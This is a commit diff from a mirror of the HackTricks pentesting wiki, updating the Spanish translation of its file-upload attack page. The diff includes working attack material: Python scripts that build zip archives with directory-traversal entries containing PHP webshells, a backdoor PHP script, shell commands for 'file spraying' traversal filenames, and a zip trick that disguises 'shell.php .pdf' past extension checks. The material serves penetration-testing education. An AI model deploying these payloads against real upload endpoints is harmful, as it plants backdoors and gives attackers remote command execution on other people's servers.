mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['pentesting-web/file-upload.md'] to es
This commit is contained in:
parent
37de96f48b
commit
a183cf49b3
1 changed files with 13 additions and 16 deletions
|
@ -107,12 +107,12 @@ Aquí tienes una lista de los 10 principales logros que puedes obtener mediante
|
|||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: XSS almacenado / SSRF / XXE
|
||||
3. **GIF**: XSS almacenado / SSRF
|
||||
4. **CSV**: Inyección de CSV
|
||||
4. **CSV**: Inyección CSV
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS**: Inyección de HTML / XSS / Redirección abierta
|
||||
7. **HTML / JS**: Inyección HTML / XSS / Redirección abierta
|
||||
8. **PNG / JPEG**: Ataque de inundación de píxeles \(DoS\)
|
||||
9. **ZIP**: RCE a través de LFI / DoS
|
||||
9. **ZIP**: RCE mediante LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / XXE ciego
|
||||
|
||||
# Carga automática de archivos ZIP descomprimidos
|
||||
|
@ -141,15 +141,14 @@ import zipfile
|
|||
|
||||
def create_malicious_zip(file_path, payload):
|
||||
with zipfile.ZipFile(file_path, 'w') as zip_file:
|
||||
zip_file.writestr('../payload.php', payload)
|
||||
|
||||
file_path = 'malicious.zip'
|
||||
payload = '<?php system($_GET["cmd"]); ?>'
|
||||
zip_file.writestr("../payload.php", payload)
|
||||
|
||||
file_path = "malicious.zip"
|
||||
payload = "<?php system($_GET['cmd']); ?>"
|
||||
create_malicious_zip(file_path, payload)
|
||||
```
|
||||
|
||||
This Python code creates a malicious zip file that contains a PHP payload. The payload is a PHP script that executes a system command specified in the `cmd` parameter of a GET request. The zip file is created using the `zipfile` module, and the `writestr` method is used to add the payload to the zip file with a file path that includes directory traversal (`../`) to escape the intended directory. The resulting zip file can be used for various malicious purposes, such as remote code execution or command injection.
|
||||
This Python code creates a malicious zip file that contains a payload.php file. The payload.php file contains PHP code that allows an attacker to execute arbitrary commands on the server using the `system` function. The `create_malicious_zip` function takes two parameters: `file_path`, which specifies the path where the malicious zip file will be created, and `payload`, which is the PHP code that will be written to the payload.php file.
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
|
@ -177,7 +176,7 @@ $cmd = ($_REQUEST['cmd']);
|
|||
system($cmd);
|
||||
}?>
|
||||
```
|
||||
2. Utiliza la técnica de "file spraying" y crea un archivo zip comprimido:
|
||||
2. Utiliza la técnica de "rociado de archivos" y crea un archivo zip comprimido:
|
||||
```text
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# ls *.php
|
||||
|
@ -203,7 +202,7 @@ root@s2crew:/tmp#
|
|||
:%s/xxA/..\//g
|
||||
:x!
|
||||
```
|
||||
¡Solo queda un paso: subir el archivo ZIP y permitir que la aplicación lo descomprima! Si tiene éxito y el servidor web tiene suficientes privilegios para escribir en los directorios, habrá una simple ejecución de comandos del sistema operativo en el sistema:
|
||||
¡Solo queda un paso! ¡Sube el archivo ZIP y deja que la aplicación lo descomprima! Si tiene éxito y el servidor web tiene suficientes privilegios para escribir en los directorios, habrá una simple ejecución de comandos del sistema operativo en el sistema:
|
||||
|
||||
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
|
||||
|
||||
|
@ -211,17 +210,15 @@ root@s2crew:/tmp#
|
|||
|
||||
## Descomprimir con un nombre diferente
|
||||
|
||||
A veces, una aplicación bloqueará la carga de un archivo verificando su extensión dentro del archivo ZIP. Si esta verificación es superficial, es decir, verificando el nombre del archivo dentro del encabezado del campo local, se puede eludir haciendo que la aplicación crea que el archivo tiene esa extensión, aunque tendrá otra una vez descomprimido.
|
||||
A veces, una aplicación bloqueará la carga de un archivo verificando su extensión dentro del archivo ZIP. Si esta verificación es superficial, es decir, verificando el nombre del archivo dentro del campo de encabezado local, se puede eludir haciendo que la aplicación crea que el archivo tiene esa extensión, aunque tendrá otra una vez descomprimido.
|
||||
|
||||
Podemos reutilizar el script anterior para crear un archivo ZIP.
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
import zipfile
|
||||
from cStringIO import StringIO
|
||||
from io import BytesIO
|
||||
|
||||
def create_zip():
|
||||
f = StringIO()
|
||||
f = BytesIO()
|
||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||||
z.close()
|
||||
|
@ -273,7 +270,7 @@ Los políglotos, en un contexto de seguridad, son archivos que son una forma vá
|
|||
|
||||
Los archivos políglotos se utilizan a menudo para evadir protecciones basadas en tipos de archivos. Muchas aplicaciones que permiten a los usuarios cargar archivos solo permiten cargar ciertos tipos, como JPEG, GIF, DOC, para evitar que los usuarios carguen archivos potencialmente peligrosos como archivos JS, archivos PHP o archivos Phar.
|
||||
|
||||
Esto ayuda a cargar un archivo que cumple con el formato de varios formatos diferentes. Puede permitirte cargar un archivo PHAR (PHp ARchive) que también parece ser un JPEG, pero probablemente aún necesitarás una extensión válida y si la función de carga no lo permite, esto no te ayudará.
|
||||
Esto ayuda a cargar un archivo que cumple con el formato de varios formatos diferentes. Puede permitirte cargar un archivo PHAR (PHp ARchive) que también parece un JPEG, pero probablemente aún necesitarás una extensión válida y si la función de carga no lo permite, esto no te ayudará.
|
||||
|
||||
Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
|
Loading…
Add table
Reference in a new issue